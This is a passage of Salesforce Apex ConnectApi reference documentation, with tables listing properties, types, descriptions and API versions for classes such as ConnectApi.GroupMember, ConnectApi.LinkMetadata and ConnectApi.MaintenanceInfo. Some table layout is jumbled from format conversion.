  • Content—file came from content                                                                                                                                                                                                                                               | 28.0              |
| owner              | ConnectApi.User       | File’s owner.                                                                                                                                                                                                                                                                                                                                | 28.0              |
| pdfRenditionStatus | String                | Specifies if a PDF preview version of the file has been rendered.                                                                                                                                                                                                                  | 28.0              |
| publishStatus      | ConnectApi.FilePublishStatus | Specifies the publish status of the file.  
  • PendingAccess—File is pending publishing.  
  • PrivateAccess—File is private  
  • PublicAccess—File is public.                                                                                     | 28.0              |
| renditionUrl       | String                | URL to the rendition for the file.                                                                                                                                                                                                                                                                                                             | 28.0              |
| renditionUrl240By180| String                | URL to the 240 x 180 rendition resource for the file. For shared files, renditions process asynchronously after upload. For private files, renditions process when the first file preview is requested, and aren’t available immediately after the file is uploaded. | 29.0              |
| renditionUrl720By480| String                | URL to the 720 x 480 rendition resource for the file. For shared files, renditions process asynchronously after upload. For private files, renditions process when the first file preview is requested, and aren’t available immediately after the file is uploaded. | 29.0              |
| sharingOption      | ConnectApi.FileSharingOption | Sharing option of the file. Values are:  
  • Allowed—Resharing of the file is allowed.  
  • Restricted—Resharing of the file is restricted.                                                                                                                    | 35.0              |
| sharingPrivacy     | ConnectApi.FileSharingPrivacy | Sharing privacy of a file. Values are:  
  • None—File is visible to anyone with record access.  
  • PrivateOnRecords—File is private on records.                                                                                                                  | 41.0              |
| sharingRole        | ConnectApi.FileSharingType | Sharing role of the file.  
  • Admin—Owner permission, but doesn’t own the file.  
  • Collaborator—Viewer permission, and can edit, change permissions, and upload a new version of a file. | 28.0              |

ConnectApi.FilesCapability

If a feed element has this capability, it has one or more file attachments.

Subclass of ConnectApi.FeedElementCapability.
Available Version | Description | Type | Property Name
---|---|---|---
36.0 | Collection of files. | List<ConnectApi.Content> | items

SEE ALSO:
ConnectApi.FeedElementCapabilities

ConnectApi.FileSummary
A file summary.
Subclass of ConnectApi.File.
No additional properties.

ConnectApi.FindRoutesWithFewestSplitsOutputRepresentation
A list of inventory location combinations that can fulfill an order without exceeding the maximum number of shipments.
Subclass of ConnectApi.BaseOutputRepresentation.

Available Version
Description | Type
---|---
51.0 | Each element of the list is a set of inventory locations that together can fulfill the order being routed. | List<ConnectApi.AvailableLocationOutputRepresentation>
targetLocations

ConnectApi.FollowerPage

Available Version
Description | Type
---|---
currentPageUrl | Connect REST API URL identifying the current page. | String
currentPageUrl
followers | List of subscriptions. | List<ConnectApi.Subscription>
followers
nextPageUrl | Connect REST API URL identifying the next page, or null if there isn’t a next page. | String
nextPageUrl
previousPageUrl | Connect REST API URL identifying the previous page, or null if there isn’t a previous page. | String
previousPageUrl
total | Total number of followers across all pages. | Integer
total

ConnectApi.FollowingCounts

Available Version
Description | Type
---|---
people | Number of people user is following. | Integer
people
**ConnectApi Namespace**

### Available Version

<table>
<thead>
<tr>

### ConnectApi.FormulaScope

Formula scope for a target.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>contextValues</td>
<td>Map&lt;String, String&gt;</td>
<td>Map of context values for the scope.</td>
<td>50.0</td>
</tr>
<tr>
<td>fields</td>
<td>List&lt;String&gt;</td>
<td>List of fields of the scope.</td>
<td>50.0</td>
</tr>
<tr>
<td>formula</td>
<td>String</td>
<td>Formula of the scope.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.Target

### ConnectApi.FulfillmentGroupOutputRepresentation

Information about one FulfillmentOrder from a request to create fulfillment orders from multiple OrderDeliveryGroupSummaries. If the FulfillmentOrder was created, then its ID is returned. If it failed, then data from the input is returned so you can resubmit it.

Subclass of ConnectApi.BaseOutputRepresentation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfilledFromLocationId</td>
<td>String</td>
<td>(Creation failed) The input FulfilledFromLocationId.</td>
<td>50.0</td>
</tr>
<tr>
<td>fulfillmentOrderId</td>
<td>String</td>
<td>The FulfillmentOrderId from the successfully created FulfillmentOrder.</td>
<td>50.0</td>
</tr>
<tr>
<td>fulfillmentType</td>
<td>String</td>
<td>(Creation failed) The input FulfillmentType.</td>
<td>50.0</td>

</tr>
<tr>
<td>referenceId</td>
<td>String</td>
<td>The referenceId from the FulfillmentGroup input representation. Use this value to troubleshoot a failure.</td>
<td>50.0</td>
</tr>
</tbody>
</table>
ConnectApi.FulfillmentOrderCancelLineItemsOutputRepresentation
Wraps the base output.
Subclass of ConnectApi.BaseOutputRepresentation.
No additional properties.

ConnectApi.FulfillmentOrderInvoiceOutputRepresentation
ID of the created invoice.
Subclass of ConnectApi.BaseOutputRepresentation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>invoiceId</td>
<td>String</td>
<td>ID of the created invoice.</td>
<td>48.0</td>
</tr>
</tbody>
</table>

ConnectApi.FulfillmentOrderOutputRepresentation
A list of IDs of the created FulfillmentOrders.
Subclass of ConnectApi.BaseOutputRepresentation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfillmentOrderIds</td>
<td>List&lt;String&gt;</td>
<td>A list of IDs of created Fulfillment Orders.</td>
<td>48.0</td>
</tr>
</tbody>
</table>

ConnectApi.GatewayLogResponse
Gateway log output.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>Date when the gateway log was created.</td>
<td>50.0</td>
</tr>
<tr>
<td>gatewayResultCode</td>
<td>String</td>
<td>Result codes that show the status of a transaction as it is passed to the financial institution and then returned to the client.</td>
<td>50.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the gateway log record.</td>
<td>50.0</td>
</tr>
<tr>
<td>interactionStatus</td>
<td>String</td>
<td>Gateway interaction status. It can be SUCCESS, FAILED, or TIMEOUT.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

ConnectApi.GenericBundleCapability
If a feed element has this capability, the feed element has a group of other feed elements condensed into one feed element. This group is called a bundle.
Subclass of ConnectApi.BundleCapability.
**ConnectApi.GenericFeedElement**

A concrete implementation of the abstract `ConnectApi.FeedElement` class.

Subclass of `ConnectApi.FeedElement`.

**ConnectApi.GlobalInfluence**

Chatter influence.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>percentile</td>
<td>String</td>
<td>Percentile value for the user’s influence rank within the org or Experience Cloud site.</td>
<td>28.0</td>
</tr>
<tr>
<td>rank</td>
<td>Integer</td>
<td>Number indicating the user’s influence rank, relative to all other users within the org or Experience Cloud site.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.UserDetail`
- `ConnectApi.GroupChatterSettings`

**ConnectApi.GroupChatterSettings**

A user's Chatter settings for a specific group.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>emailFrequency</td>
<td>ConnectApi.GroupEmailFrequency Enum</td>
<td>The frequency with which a group member receives email from a group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.GroupInformation**

Describes the Information section of the group. If the group is private, this section is visible only to members.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>text</td>
<td>String</td>
<td>The text of the “Information” section of the group.</td>
<td>28.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>The title of the “Information” section of the group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.ChatterGroupDetail`

**ConnectApi.GroupMember**

Member of a group.
### Available Version

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>User's 18-character ID.</td>
<td>28.0</td>
</tr>
<tr>
<td>lastFeed</td>
<td>Datetime</td>
<td>The date and time at which the group member last accessed the group feed.</td>
<td>31.0</td>
</tr>
<tr>
<td>role</td>
<td>ConnectApi.GroupMembership Type Enum</td>
<td>Type of membership the user has with the group.  • GroupOwner  • GroupManager  • NotAMember  • NotAMemberPrivateRequested  • StandardMember</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>Connect REST API URL to this membership.</td>
<td>28.0</td>
</tr>
<tr>
<td>user</td>
<td>ConnectApi.User Summary</td>
<td>Information about the user who is subscribed to this group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.GroupMemberPage

### ConnectApi.GroupMemberPage

Page of group members.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>members</td>
<td>List&lt;ConnectApi.GroupMember&gt;</td>
<td>List of group members.</td>
<td>28.0</td>
</tr>
<tr>
<td>myMembership</td>
<td>ConnectApi.Reference</td>
<td>If the context user is a member of this group, returns information about that membership, otherwise, null.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn’t a next page.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the previous page, or null if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>totalMemberCount</td>
<td>Integer</td>
<td>Total number of group members across all pages.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.GroupMembershipRequest

Request to become a group member.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>28.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID for the group membership request object.</td>
<td>28.0</td>
</tr>
<tr>
<td>lastUpdateDate</td>
<td>Datetime</td>
<td>ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>28.0</td>
</tr>
<tr>
<td>requestedGroup</td>
<td>ConnectApi.</td>
<td>Information about the group the context user is requesting to join.</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td>Reference</td>
<td></td>
<td></td>
</tr>
<tr>
<td>responseMessage</td>
<td>String</td>
<td>A message for the user if their membership request is declined. The value of this property is used only when the value of the status property is Declined. The maximum length is 756 characters.</td>
<td>28.0</td>
</tr>
<tr>
<td>status</td>
<td>ConnectApi.</td>
<td>Status of a request to join a private group. Values are:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td>GroupMembershipRequestStatusEnum</td>
<td></td>
<td></td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL of the group membership request object.</td>
<td>28.0</td>
</tr>
<tr>
<td>user</td>
<td>ConnectApi.User</td>
<td>Information about the user requesting membership in a group.</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td>Summary</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

SEE ALSO:
[ConnectApi.GroupMembershipRequests](#)

**ConnectApi.GroupMembershipRequests**

Requests to become group members.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>requests</td>
<td>List&lt;ConnectApi.GroupMembershipRequest&gt;</td>
<td>Information about group membership requests.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>The total number of requests.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.GroupRecord**

A record associated with a group.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>Record’s 18-character ID.</td>
<td>33.0</td>
</tr>
</tbody>
</table>
### ConnectApi.GroupRecord

**Property** | **Type** | **Description** | **Available Version**
--- | --- | --- | ---
record | ConnectApi.ActorWithId | Information about the record associated with the group. | 33.0
url | String | Record URL. | 33.0

SEE ALSO: [ConnectApi.GroupRecordPage](#)

#### ConnectApi.GroupRecordPage

A paginated list of ConnectApi.GroupRecord objects.

**Property** | **Type** | **Description** | **Available Version**
--- | --- | --- | ---
currentPageUrl | String | Connect REST API URL identifying the current page. | 33.0
nextPageUrl | String | Connect REST API URL identifying the next page, or **null** if there isn’t a next page. | 33.0
previousPageUrl | String | Connect REST API URL identifying the previous page, or **null** if there isn’t a previous page. | 33.0
records | List<ConnectApi.GroupRecord> | List of records on the current page. | 33.0
totalRecordCount | Integer | Total number of records associated with the group. | 33.0

#### ConnectApi.HashtagSegment

Subclass of ConnectApi.MessageSegment.

**Name** | **Type** | **Description** | **Available Version**
tag | String | Text of the topic without the hash symbol (#). | 28.0
topicUrl | String | Connect REST API Topics resource that searches for the topic: | 28.0
/services/data/v51.0/chatter/topics?exactMatch=true&q=topic
url | String | Connect REST API Feed Items resource URL that searches for the topic in all feed items in an organization: | 28.0
/services/data/v51.0/chatter/feed-items?q=topic
**ConnectApi.HideSocialPostIntent**

Hide intent for a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isHidden</td>
<td>Boolean</td>
<td>Specifies whether the managed social account hid the social post (true) or not (false).</td>
<td>45.0</td>
</tr>
<tr>
<td>managedSocialAccount</td>
<td>ConnectApi.ManagedSocialAccount</td>
<td>Managed social account that hides the social post.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

- ConnectApi.SocialPostIntents

**ConnectApi.Icon**

Icon.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>height</td>
<td>Integer</td>
<td>The height of the icon in pixels.</td>
<td>28.0</td>
</tr>
<tr>
<td>width</td>
<td>Integer</td>
<td>The width of the icon in pixels.</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL of the icon. This URL is available to unauthenticated users. This URL does not expire.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

- ConnectApi.CanvasCapability
- ConnectApi.EnhancedLinkCapability
- ConnectApi.SocialPostCapability

**ConnectApi.InlineImageSegment**

An inline image in the feed body.

Subclass of ConnectApi.MessageSegment

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>altText</td>
<td>String</td>
<td>Alt text for the inline image.</td>
<td>35.0</td>
</tr>
<tr>
<td>contentSize</td>
<td>Integer</td>
<td>Size of the file in bytes.</td>
<td>35.0</td>
</tr>
<tr>
<td>fileExtension</td>
<td>String</td>
<td>Extension of the file, such as gif.</td>
<td>37.0</td>
</tr>
<tr>
<td>thumbnails</td>
<td>ConnectApi.File PreviewCollection</td>
<td>Information about the available thumbnails for the image.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the latest version of the inline image.</td>
<td>35.0</td>
</tr>
</tbody>
</table>
### ConnectApi.InteractionsCapability

If a feed element has this capability, it has information about user interactions.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>count</td>
<td>Long</td>
<td>The number of individual views, likes, and comments on a feed post.</td>
<td>37.0</td>
</tr>
</tbody>
</table>

**Note:** This count appears in the UI under the feed post as the number of views, for example, “5 views.”

**SEE ALSO:**
- ConnectApi.FeedElementCapabilities
- ConnectApi.RelatedQuestion

### ConnectApi.Invitation

An invitation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>email</td>
<td>String</td>
<td>Email address of the user.</td>
<td>39.0</td>
</tr>
<tr>
<td>status</td>
<td>ConnectApi.GroupViralInvitationsStatus</td>
<td>Specifies the status of an invitation to join a group.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

Values are:
- ActedUponUser—The user was added to the group. An email was sent asking the user to visit the group.
- Invited—An email was sent asking the user to sign up for the org.
- MaxedOutUsers—The group has the maximum allowed members.
- MultipleError—The user wasn’t invited due to multiple errors.
- NoActionNeededUser—The user is already a member of the group.
- NotVisibleToExternalInviter—The user is not accessible to the user sending the invitation.
- Unhandled—The user couldn’t be added to the group for an unknown reason.
### ConnectApi.Invitations

A collection of invitations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>invitations</td>
<td>List&lt;ConnectApi.Invitation&gt;</td>
<td>Collection of invitations.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

### ConnectApi.KnowledgeArticleVersion

A knowledge article version.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>articleType</td>
<td>String</td>
<td>Type of the knowledge article.</td>
<td>36.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the knowledge article version.</td>
<td>36.0</td>
</tr>
<tr>
<td>knowledgeArticleId</td>
<td>String</td>
<td>ID of the corresponding knowledge article.</td>
<td>36.0</td>
</tr>
<tr>
<td>lastPublishedDate</td>
<td>Datetime</td>
<td>Last published date of the knowledge article.</td>
<td>36.0</td>
</tr>
<tr>
<td>summary</td>
<td>String</td>
<td>Summary of the knowledge article contents.</td>
<td>36.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the knowledge article.</td>
<td>36.0</td>
</tr>
<tr>
<td>urlName</td>
<td>String</td>
<td>URL name of the knowledge article.</td>
<td>36.0</td>
</tr>
</tbody>
</table>

### ConnectApi.KnowledgeArticleVersionCollection

A collection of knowledge article versions.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.KnowledgeArticleVersion&gt;</td>
<td>A collection of knowledge article versions.</td>
<td>36.0</td>
</tr>
</tbody>
</table>
ConnectApi.LabeledRecordField

This class is abstract.

Subclass of `ConnectApi.AbstractRecordField`.

Superclass of:

- `ConnectApi.CompoundRecordField`
- `ConnectApi.CurrencyRecordField`
- `ConnectApi.DateRecordField`
- `ConnectApi.PercentRecordField`
- `ConnectApi.PicklistRecordField`
- `ConnectApi.RecordField`
- `ConnectApi.ReferenceRecordField`
- `ConnectApi.ReferenceWithDateRecordField`

A record field containing a label and a text value.

**Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>label</td>
<td>String</td>
<td>A localized string describing the record field.</td>
<td>29.0</td>
</tr>
<tr>
<td>text</td>
<td>String</td>
<td>The text value of the record field. All record fields have a text value. To ensure that all clients can consume new content, inspect the record field’s <code>type</code> property. If it isn’t recognized, render the text value as the default case.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

ConnectApi.LightningExtensionInformation

Lightning extension information.

Subclass of `ConnectApi.AbstractExtensionInformation`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>compositionComponent</td>
<td>String</td>
<td>Component to use in compose state.</td>
<td>40.0</td>
</tr>
<tr>
<td>headerTextLabel</td>
<td>String</td>
<td>Label for the extension’s header.</td>
<td>40.0</td>
</tr>
<tr>
<td>hoverTextLabel</td>
<td>String</td>
<td>Label for hovering over the extension.</td>
<td>40.0</td>
</tr>
<tr>
<td>renderComponent</td>
<td>String</td>
<td>Component to use in render or preview state.</td>
<td>40.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

- `ConnectApi.ExtensionDefinition`

ConnectApi.LikeIntent

Like intent for a social post.
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isLiked</td>
<td>Boolean</td>
<td>Specifies whether the managed social account liked the social post (true) or not (false).</td>
<td>45.0</td>
</tr>
<tr>
<td>managedSocialAccount</td>
<td>ConnectApi.ManagedSocialAccount</td>
<td>Managed social account that likes the social post.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
  - ConnectApi.LikeIntents

### ConnectApi.LikeIntents

List of like intents for a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>likes</td>
<td>List&lt;ConnectApi.LikeIntent&gt;</td>
<td>List of like intents for the social post.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
  - ConnectApi.SocialPostIntents

### ConnectApi.LikeSocialPostIntent

Like intent on a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>socialAccountId</td>
<td>String</td>
<td>ID of the social account that likes the social post.</td>
<td>46.0</td>
</tr>
<tr>
<td>socialPostId</td>
<td>String</td>
<td>ID of the social post to like.</td>
<td>46.0</td>
</tr>
</tbody>
</table>

### ConnectApi.LikeSummary

Summary of a like.

Subclass of ConnectApi.UserFeedEntityActivitySummary

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>likeId</td>
<td>String</td>
<td>ID of the like.</td>
<td>42.0</td>
</tr>
</tbody>
</table>

### ConnectApi.LinkCapability

If a feed element has this capability, it has a link.

Subclass of ConnectApi.FeedElementCapability.
### ConnectApi.LinkMetadata

Metadata for a link.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the link.</td>
<td>42.0</td>
</tr>
<tr>
<td>frameSource</td>
<td>String</td>
<td>HTML required to display the resource.</td>
<td>42.0</td>
</tr>
<tr>
<td>height</td>
<td>Integer</td>
<td>Height required to display the HTML.</td>
<td>42.0</td>
</tr>
<tr>
<td>originalUrl</td>
<td>String</td>
<td>Original URL that was used to request the metadata.</td>
<td>42.0</td>
</tr>
<tr>
<td>providerUrl</td>
<td>String</td>
<td>URL of the provider that the information is retrieved from.</td>
<td>42.0</td>
</tr>
<tr>
<td>source</td>
<td>ConnectApi.LinkMetadataSource</td>
<td>Source of the link metadata. Values are:</td>
<td>42.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>Thumbnail of the resource.</td>
<td>42.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the link.</td>
<td>42.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.LinkMetadataType</td>
<td>Type of link that the metadata represents. Values are:</td>
<td>42.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL of the image to display, if one is available.</td>
<td>42.0</td>
</tr>
</tbody>
</table>

#### SEE ALSO:
- ConnectApi.FeedElementCapabilities

---

**Available Version**

- Description of the link. String
- Type of link that the metadata represents. Values are:
  - Error—Link metadata couldn’t be retrieved.
  - Link—Represents a link.
  - None—Link metadata wasn’t retrieved because the link isn’t an allowed domain.
  - Photo—Represents a photo.
  - Rich—Represents rich content, typically HTML content.
  - Unknown—Link metadata was retrieved, but the type is unknown.
  - Video—Represents a video.

---

**Type**

- String
- Integer
### ConnectApi.Namespace

#### ConnectApi.LinkMetadataCollection

Collection of link metadata.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>linkMetadataList</td>
<td>List&lt;ConnectApi.LinkMetadata&gt;</td>
<td>List of metadata for links.</td>
<td>42.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.LinkSegment

Link segment.

Subclass of ConnectApi.MessageSegment.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>The link URL.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.LocationOutputRepresentation

An inventory location's distance to an order recipient.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>distance</td>
<td>Double</td>
<td>The distance from the location to the order recipient.</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifier</td>
<td>String</td>
<td>The location identifier.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.MaintenanceInfo

Information about the upcoming scheduled maintenance for the organization.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the maintenance.</td>
<td>34.0</td>
</tr>
<tr>
<td>maintenanceTitle</td>
<td>String</td>
<td>Title of the maintenance.</td>
<td>34.0</td>
</tr>
<tr>
<td>maintenanceType</td>
<td>ConnectApi.MaintenanceType</td>
<td>Type of maintenance. Values are:</td>
<td>34.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Downtime—Downtime maintenance.</td>
<td></td>
</tr>
</tbody>
</table>
### Available Version

- **GenerallyAvailable**—Maintenance with generally available mode.
- **MaintenanceWithDowntime**—Scheduled maintenance with downtime.
- **ReadOnly**—Maintenance with read-only mode.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>message</td>
<td>Datetime</td>
<td>Effective time when users start seeing the maintenance message.</td>
<td>34.0</td>
</tr>
<tr>
<td>EffectiveTime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>message</td>
<td>Datetime</td>
<td>Expiration time of the maintenance message.</td>
<td>34.0</td>
</tr>
<tr>
<td>ExpirationTime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledEnd</td>
<td>Datetime</td>
<td>Scheduled end of downtime. <strong>null</strong> for GenerallyAvailable and ReadOnly maintenance types.</td>
<td>34.0</td>
</tr>
<tr>
<td>Downtime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledEnd</td>
<td>Datetime</td>
<td>Scheduled end of maintenance. <strong>null</strong> for Downtime maintenance type.</td>
<td>34.0</td>
</tr>
<tr>
<td>MaintenanceTime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledStart</td>
<td>Datetime</td>
<td>Scheduled start of downtime. <strong>null</strong> for GenerallyAvailable and ReadOnly maintenance types.</td>
<td>34.0</td>
</tr>
<tr>
<td>Downtime</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>scheduledStart</td>
<td>Datetime</td>
<td>Scheduled start time of maintenance. <strong>null</strong> for Downtime maintenance type.</td>
<td>34.0</td>
</tr>
<tr>
<td>MaintenanceTime</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.OrganizationSettings
- ConnectApi.ManagedContentAssociations

### ConnectApi.ManagedContentAssociations

Content topics associated with managed content.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>topics</td>
<td>List&lt;ConnectApi.TopicSummary&gt;</td>
<td>A collection of topics associated with the managed content.</td>
<td>47.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.ManagedContentVersion

### ConnectApi.ManagedContentChannel

Managed content channel.
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>channelId</td>
<td>String</td>
<td>ID of the managed content channel.</td>
<td>48.0</td>
</tr>
<tr>
<td>channelName</td>
<td>String</td>
<td>Name of the managed content channel.</td>
<td>48.0</td>
</tr>
<tr>
<td>channelType</td>
<td>ConnectApi.ManagedContent ChannelType</td>
<td>Type of managed content channel. Values are: CloudToCloud, Community, ConnectedApp, PublicUnauthenticated</td>
<td>48.0</td>
</tr>
<tr>
<td>domainId</td>
<td>String</td>
<td>ID of the domain assigned to the channel.</td>
<td>50.0</td>
</tr>
<tr>
<td>domainName</td>
<td>String</td>
<td>Name of the domain assigned to the channel.</td>
<td>50.0</td>
</tr>
<tr>
<td>isChannelSearchable</td>
<td>Boolean</td>
<td>Specifies whether the text contents of the channel are searchable (true) or not (false).</td>
<td>48.0</td>
</tr>
<tr>
<td>isDomainLocked</td>
<td>Boolean</td>
<td>Specifies whether the domain is locked and can't be changed (true) or not (false).</td>
<td>50.0</td>
</tr>
